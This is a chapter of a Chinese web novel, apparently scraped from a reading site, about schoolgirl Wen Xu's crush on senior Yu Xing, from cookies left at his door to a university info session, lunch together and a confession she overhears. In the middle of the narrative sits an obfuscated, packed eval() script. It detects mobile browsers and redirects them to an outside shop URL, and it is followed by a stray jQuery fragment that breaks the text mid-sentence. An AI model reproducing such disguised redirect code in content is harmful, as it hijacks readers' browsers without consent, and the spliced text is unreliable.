文趣网 > 都市小说 > 温柔学长竟是阴湿病娇 > 6. 缸中的第六天
    【学长,我听说过几天有津北大学的宣讲会。】

    【你要回遂江了吗?】

    已是五月末,窗外暴雨滂沱。

    温煦发完消息,正好烤箱“叮”响起来。黄油香和甜味弥漫,她戴上手套,小心地把烤好的曲奇饼干拿出来,心“砰砰”直跳。

    她假装没有期待手机的震动回信,仔细端详那些还没完全定型变硬的饼干,用夹子把烤裂的饼干挑出来。

    “嗡嗡。”那个131开头的未保存联系人——也就是俞行,回了信。

    131:【是要回来了。宣讲会明天开,我会去。】

    饼干定型了,温煦拿起一块饼干咬一口。糖放得有点多,太甜。她看着俞行的回信,还没打完字,手机又震动。

    131:【但是最近几乎不在小区。我爷爷生病了,我在医院照顾他。】

    【怎么了?有什么事吗?】

    当然没什么事。温煦本是想揣着明白装糊涂,问问俞行会不会来宣讲会,再顺便和他说几句话。但没想到他家里出了这样的状况。

    【严重么?】

    【……你还好吗?】

    对面沉默了很久。

    131:【实话说,不太好。】

    201楼上,俞行发送了一条消息,站在窗边看着雨痕。他将指尖夹着的细薄电子烟送到嘴边,薄荷味的雾气浅浅吐出来,薄烟模糊了他的轮廓,叫人看不真切他的神情。

    131:【是突发性脑梗,现在在遂江第一医院,情况不太稳定。】

    301楼下,饼干被温煦精细地装进半透明的磨砂自封袋,她分了一堆放进厨房柜子,给家人做早餐。又留下一些,悄悄收起来。

    原来……学长也会有脆弱的时候。

    温煦有些惊讶,又隐隐地心疼。

    【好,一定要照顾好自己。爷爷的病一定会好起来的。】

    【对了……之前说过要送你的回礼,我找机会给你。我想多准备一些,也算是我给爷爷的一份心意。】

    131:【(>_

    131:【谢谢。但其实不用麻烦了。】

    他拒绝了。温煦蹲下来,将饼干放进橱柜。可是他帮过她那么多,她也是会想……帮他做点什么的。

    暴雨的周末很快过去,天亮时刻,外面还在飘迷蒙细雨。

    浅金黄色的饼干,一张画了简笔仓鼠的手写卡片,都被温煦小心装进浅棕色牛皮纸方袋里。她开门去上学,没有顺着楼道向下,反而上楼。

    301的门把手转轴缝隙积了层薄薄的灰,和俞行向来干净规整的样子截然不同。她心里发涩,他这段时间,是真的顾不上这里。

    她刚才已经给他发了短信。

    今天就是宣讲会的日子了。他应该会回家一趟?如果他不回来,她就在宣讲会后面对面再和他说一声,她给他送了东西,请记得拿。

    她把牛皮纸袋放在旁边的消防栓上。

    *****

    “津北大学的俞行、江城大学的娄心逸、勋州大学……”

    一群蓝白校服的学生蜂拥而上,挤在公告栏看宣讲海报。

    “这海报出得好慢……”

    “但好看——娄心逸学姐好帅啊……!”

    温煦在人群里找到钟意,眼神交汇,钟意挑挑眉。

    夏日的教室很是闷热,天花板上的风扇“呼呼”转着。

    温煦正把几袋曲奇放进钟意桌柜里,钟意就大步走了过来,将饼干掏了出来:“怎么还鬼鬼祟祟的。”

    她低着头把袋子打开:“都说了,不用太担心那条短信。”

    温煦点头,但还是放不下心。像刚才在公告栏处,她还是害怕徐慧勤经过。

    “等高考完,上了大学,我一定和你光明正大地玩。”

    钟意笑着应下,咬了口饼干。曲奇奶味浓郁,口感正好,钟意陶醉:“香!”

    温煦笑得眉眼弯弯,又突然想起什么。

    “对了,有件事……想请你帮忙。”

    *****

    宣讲会的礼堂不算新。灯光白亮均匀,舞台面对着叠叠的连排红绒布座椅,后方墙壁上挂着几条红色横幅:“高考冲刺·梦想启航”。

    “等会说话的时候,注意话筒不要对着音响……”

    后勤老师简单交代完,又去幕后调试设备。娄心逸扎了高马尾,眉毛飞扬。她将一张宣讲海报卷起来,挑眉向俞行:“你脸色怎么这么差。”

    俞行眼下发青,却多了种憔悴的美感。他淡淡道:“没睡好。”他靠在椅子上,握着手机翻了翻相册。

    一张普通的照片,消防栓上放着个牛皮纸袋子。手指往右边滑了滑,又分别是饼干和卡片,照片中的物品都被完美居中,十分清晰。他用撑着脸颊,眉眼放松。

    *****

    “到了最后冲刺的时候,不要熬夜,保证白天效率……”

    娄心逸站在发言台后,声音自信坚定,身后的大屏展示着江城大学的景色。江城临海临江,江城大学面朝着海,风景很是出名,讲台下面泛起羡慕的唏嘘声。

    娄心逸扬眉,放慢了语速。

    温煦听得很认真。娄心逸讲完鞠躬,抬头挺胸下台去了。温煦用力鼓掌,目光迅速飞到舞台旁边,寻找俞行的身影。

    俞行很高,很好找到。他穿着简单的白衬衫,看起来有点虚弱。

    不知道她送的礼物,他拿了没有?

    俞行上台,微微弯腰,将小话筒掰回原位。

    “各位同学好,我是俞行。高考是一道门,不是一道坎,尽力,就是最好的。”

    宣传片亮起,礼堂暗了下来。

    无人机镜头掠过红砖老教学楼,爬墙绿藤垂在窗沿。高大梧桐树静默着站在大道两侧,图书馆典雅大气,湖畔长椅安静悠远……

    画面开阔明亮,像一段触手可及、又格外耀眼的未来。

    温煦目不转睛,直到礼堂里盏盏白光又亮起。

    “简单介绍一下津北大学。这里平台、资源、机会都很多……”

    温煦把座椅边的小桌板放下来,笔杆在笔记本上微微晃动。听着他的声音记会,又抬头看简约明了的ppt。穿白衬衫的人太过惹眼,温煦的眼神总不自觉地在他身上多飘一会。

    俞行的风格和娄心逸不同,温润如水,让人如沐春风。温煦不知什么时候捏着笔,许久也没动一下,只远远地望着他。她来得晚了,坐在礼堂后面一些,其实看不太清俞行。

    可是他只要站在那里,就足够令她欢喜。

    “还有同学有什么问题么?都可以提。”

    俞行抬眼,与温煦的目光汇在一起。

    温煦忽然有些紧张,听见自己的轻浅的呼吸声。

    “那位同学。”俞行掌心向上,轻轻虚抬了一下。

    温煦顺着他示意的方向扭头,旁边的男生拿过老师递来的话筒站起来:“呃,学长,我想请问……”

    原来不是她。

    温煦垂眼看本子。

    宣讲完,已是午饭时间

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586150|205273||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。平日里的高三学生早饿得头昏眼花直奔食堂,但现在前一届的几个大神都在,许多人舍不得这个机会,拥过去或是提问,或是想加联系方式。

    温煦从人群中挤过去,看见娄心逸和俞行一边应付着学生,一边面对着说话。她离得有些远,身边也吵,听不见他们在说什么,只看见嘴巴张合。

    她默默走到了边上,想等一会再过去。但俞行似乎瞥见了她,大步走了过来。

    俞行看起来比三个周前疲惫许多。但他还是浅浅笑,和她简单聊了几句。

    “俞学长,你别太伤心,记得保重身体。”温煦斟酌着开口:“那个……我把送你的礼物放在你家门口了,希望你能收下。”

    俞行微微蹙眉。

    “什么样的礼物?我今早回去,似乎没有看见有东西。”

    “没有?”温煦疑惑,“我早上出门的时候就放了,你在后来,应该能拿到呀。”

    她比划了一下:“大概这么大的,牛皮纸袋子装着的。”

    俞行用拳头抵着唇回忆一番,还是摇摇头。

    他眼中闪过一瞬失望:“可能被别人拿走了。”

    那抹失望正好被温煦捕捉,于是一种愧疚萦绕在她心头:“是我不该放在外面,我重新给你送一份。”

    俞行笑笑,不置可否:“我现在暂时不用去陪护。饭点过了有一会了,要一起去吃午饭么?”

    温煦最近都是一个人吃午饭。徐慧勤在准备争取一个教学项目,顾不上她。

    俞行坐在温煦对面,餐盘干净,用过的碗也叠好了。他吃饭文雅,但很快,此刻正垂眼看着温煦着急咀嚼。她腮帮子鼓起来,可餐盘里的菜还剩一半。

    他笑:“慢慢吃,不着急。”

    温煦点点头,喝了口汤,将米饭顺下去。

    俞行撑着脸,看着她忙碌的动作:“有想去的大学么?”

    想去的大学……实话说,温煦自从知道《全球地理》杂志社在津北后,她一直都很想去津北。不一定是津北大学,只要有机会能多去看看杂志社就好。

    但父母其实希望她学师范,他们说别的专业风险太大了,学了师范,考个编制,这辈子就安稳下来了。

    温煦老实说了。

    俞行安静地听着,慢慢开口:“《全球地理》……似乎最近在我们学校招实习。”

    他把手机翻出来,滑出一个界面递给温煦看:“我们学校的新传学院、环境学院……和他们也有合作。”

    温煦心里那杆秤,猛地一沉,全部稳稳滑向津北大学。

    “好厉害……”她双手接过,小心翼翼地点点屏幕。

    俞行垂眼看她。

    吃完饭,温煦要回教室午休,俞行则表示他去礼堂收拾下宣讲物品。

    温煦心里还念着津北大学和《全球地理》,心跳得越来越快,步伐也不禁雀跃起来。回了教室,她照例整理错题,却没找到笔记本。

    仔细一回想,似乎是落在礼堂了。

    无奈,她又起身。穿过连廊,下了台阶,从礼堂后门进去。

    里边没开灯,红色的巨大窗帘将落地窗外的光线都隔绝了,沉沉的。几百个排座都无人,舞台边却站着两人,像是在上演一场没有观众的表演。

    温煦寻着记忆从排座间往下,离舞台越来越近。

    忽然有人说话了,是有些熟悉清亮的女声,好像今天才在哪听过。

    “……俞行,我喜欢你。”

    ——啪嚓,温煦听见自己理智碎掉的声音。